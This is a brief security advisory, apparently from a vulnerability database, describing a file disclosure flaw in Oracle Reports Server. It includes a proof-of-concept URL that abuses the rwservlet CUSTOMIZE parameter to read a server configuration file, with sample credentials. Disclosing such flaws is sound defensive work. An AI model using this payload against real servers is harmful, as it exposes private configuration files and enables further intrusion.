Oracle Reports Server XML File Disclosure Vulnerability

Oracle Reports Server XML File Disclosure Vulnerability

An exploit is not required.

The following proof of concept is available:

http://www.example.com:7778/reports/rwservlet?server=myserver+report=test.rdf+userid=sc
ott/tiger@iasdb+destype=cache+desformat=xml+CUSTOMIZE=/opt/ORACLE/ias/oracle/pro
duct/9.0.2/webcache/webcache.xml